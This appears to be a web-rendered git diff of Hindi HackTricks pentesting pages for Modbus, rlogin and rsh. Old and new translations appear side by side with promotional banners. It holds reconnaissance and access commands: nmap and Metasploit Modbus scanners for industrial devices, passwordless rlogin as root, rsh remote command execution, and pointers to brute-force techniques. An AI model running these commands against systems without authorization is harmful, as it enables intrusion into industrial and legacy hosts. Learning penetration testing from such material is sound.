* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# मूल जानकारी
|
# मूल जानकारी
|
||||||
|
|
||||||
1979 में, **Modbus Protocol** को Modicon ने विकसित किया था, जो एक संदेशन संरचना के रूप में कार्य करता है। इसका प्राथमिक उपयोग बुद्धिमान उपकरणों के बीच संचार को सुविधाजनक बनाना है, जो मास्टर-गुलाम/क्लाइंट-सर्वर मॉडल के तहत काम करते हैं। यह प्रोटोकॉल उपकरणों को डेटा विनिमय करने में महत्वपूर्ण भूमिका निभाता है।
|
1979 में, **Modbus प्रोटोकॉल** को Modicon द्वारा विकसित किया गया, जो एक संदेश संरचना के रूप में कार्य करता है। इसका प्राथमिक उपयोग बुद्धिमान उपकरणों के बीच संचार को सुविधाजनक बनाना है, जो एक मास्टर-गुलाम/क्लाइंट-सेर्वर मॉडल के तहत कार्य करते हैं। यह प्रोटोकॉल उपकरणों को कुशलता से डेटा का आदान-प्रदान करने में सक्षम बनाने में महत्वपूर्ण भूमिका निभाता है।
|
||||||
|
|
||||||
**डिफ़ॉल्ट पोर्ट:** 502
|
**डिफ़ॉल्ट पोर्ट:** 502
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE
|
PORT STATE SERVICE
|
||||||
502/tcp open modbus
|
502/tcp open modbus
|
||||||
```
|
```
|
||||||
# जांच
|
# गणना
|
||||||
```bash
|
```bash
|
||||||
nmap --script modbus-discover -p 502 <IP>
|
nmap --script modbus-discover -p 502 <IP>
|
||||||
msf> use auxiliary/scanner/scada/modbusdetect
|
msf> use auxiliary/scanner/scada/modbusdetect
|
||||||
msf> use auxiliary/scanner/scada/modbus_findunitid
|
msf> use auxiliary/scanner/scada/modbus_findunitid
|
||||||
```
|
```
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
|
||||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||||
* [**आधिकारिक PEASS & HackTricks swag प्राप्त करें**](https://peass.creator-spring.com)
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **Twitter** पर **फॉलो** करें 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,27 +1,28 @@
|
||||||
# 513 - पेंटेस्टिंग Rlogin
|
# 513 - Pentesting Rlogin
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
|
||||||
## मूल जानकारी
|
## Basic Information
|
||||||
|
|
||||||
पहले, **rlogin** को दूरस्थ प्रशासन कार्यों के लिए व्यापक रूप से उपयोग किया जाता था। हालांकि, इसकी सुरक्षा के संबंध में चिंताएं होने के कारण, इसे बड़े पैमाने पर **slogin** और **ssh** द्वारा उपस्थित किया गया है। ये नए तरीके दूरस्थ कनेक्शनों के लिए बेहतर सुरक्षा प्रदान करते हैं।
|
अतीत में, **rlogin** को दूरस्थ प्रशासन कार्यों के लिए व्यापक रूप से उपयोग किया जाता था। हालाँकि, इसकी सुरक्षा के संबंध में चिंताओं के कारण, इसे बड़े पैमाने पर **slogin** और **ssh** द्वारा प्रतिस्थापित किया गया है। ये नए तरीके दूरस्थ कनेक्शनों के लिए बेहतर सुरक्षा प्रदान करते हैं।
|
||||||
|
|
||||||
**डिफ़ॉल्ट पोर्ट:** 513
|
**डिफ़ॉल्ट पोर्ट:** 513
|
||||||
```
|
```
|
||||||
|
@ -33,11 +34,11 @@ PORT STATE SERVICE
|
||||||
# Install client
|
# Install client
|
||||||
apt-get install rsh-client
|
apt-get install rsh-client
|
||||||
```
|
```
|
||||||
आप निम्नलिखित कमांड का उपयोग कर सकते हैं एक दूरस्थ होस्ट में **कोई पासवर्ड** आवश्यक नहीं है। **रूट** उपयोग करने के लिए उपयोगकर्ता नाम:
|
आप निम्नलिखित कमांड का उपयोग करके एक दूरस्थ होस्ट में **login** करने की कोशिश कर सकते हैं जहाँ पहुँच के लिए **कोई पासवर्ड** आवश्यक नहीं है। उपयोगकर्ता नाम के रूप में **root** का उपयोग करने की कोशिश करें:
|
||||||
```bash
|
```bash
|
||||||
rlogin <IP> -l <username>
|
rlogin <IP> -l <username>
|
||||||
```
|
```
|
||||||
### [ब्रूट फोर्स](../generic-methodologies-and-resources/brute-force.md#rlogin)
|
### [Brute force](../generic-methodologies-and-resources/brute-force.md#rlogin)
|
||||||
|
|
||||||
## फ़ाइलें खोजें
|
## फ़ाइलें खोजें
|
||||||
```
|
```
|
||||||
|
@ -48,16 +49,17 @@ find / -name .rhosts
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रिपोजिटरी में PR सबमिट करें।
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का पता लगाएं [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा संग्रह खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,49 +1,51 @@
|
||||||
# 514 - पेंटेस्टिंग Rsh
|
# 514 - Pentesting Rsh
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) और हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें और PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## मूल जानकारी
|
## Basic Information
|
||||||
|
|
||||||
प्रमाणीकरण के लिए **.rhosts** फ़ाइलें साथ ही **/etc/hosts.equiv** का उपयोग **Rsh** द्वारा किया गया था। प्रमाणीकरण IP पतों और डोमेन नाम प्रणाली (DNS) पर निर्भर था। IP पतों का आसानी से spoofing, विशेष रूप से स्थानीय नेटवर्क पर, एक महत्वपूर्ण सुरक्षा दोष था।
|
प्रमाणीकरण के लिए, **.rhosts** फ़ाइलों के साथ **/etc/hosts.equiv** का उपयोग **Rsh** द्वारा किया गया। प्रमाणीकरण IP पतों और डोमेन नाम प्रणाली (DNS) पर निर्भर था। IP पतों की धोखाधड़ी करना, विशेष रूप से स्थानीय नेटवर्क पर, एक महत्वपूर्ण कमजोरी थी।
|
||||||
|
|
||||||
इसके अतिरिक्त, यह सामान्य था कि **.rhosts** फ़ाइलें उपयोगकर्ताओं के होम निर्देशिकाओं में रखी जाती थीं, जो अक्सर नेटवर्क फ़ाइल सिस्टम (NFS) वॉल्यूम पर स्थित होती थीं।
|
इसके अलावा, यह सामान्य था कि **.rhosts** फ़ाइलें उपयोगकर्ताओं के होम निर्देशिकाओं में रखी जाती थीं, जो अक्सर नेटवर्क फ़ाइल प्रणाली (NFS) वॉल्यूम पर स्थित होती थीं।
|
||||||
|
|
||||||
**डिफ़ॉल्ट पोर्ट**: 514
|
**डिफ़ॉल्ट पोर्ट**: 514
|
||||||
|
|
||||||
## लॉगिन
|
## Login
|
||||||
```
|
```
|
||||||
rsh <IP> <Command>
|
rsh <IP> <Command>
|
||||||
rsh <IP> -l domain\user <Command>
|
rsh <IP> -l domain\user <Command>
|
||||||
rsh domain/user@<IP> <Command>
|
rsh domain/user@<IP> <Command>
|
||||||
rsh domain\\user@<IP> <Command>
|
rsh domain\\user@<IP> <Command>
|
||||||
```
|
```
|
||||||
### [**ब्रूट फोर्स**](../generic-methodologies-and-resources/brute-force.md#rsh)
|
### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#rsh)
|
||||||
|
|
||||||
## संदर्भ
|
## References
|
||||||
* [https://www.ssh.com/ssh/rsh](https://www.ssh.com/ssh/rsh)
|
* [https://www.ssh.com/ssh/rsh](https://www.ssh.com/ssh/rsh)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
सीखें और AWS हैकिंग का अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
सीखें और GCP हैकिंग का अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>HackTricks का समर्थन करें</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||||
|
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) पर **फॉलो** करें।
|
|
||||||
* **हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
Loading…
Reference in a new issue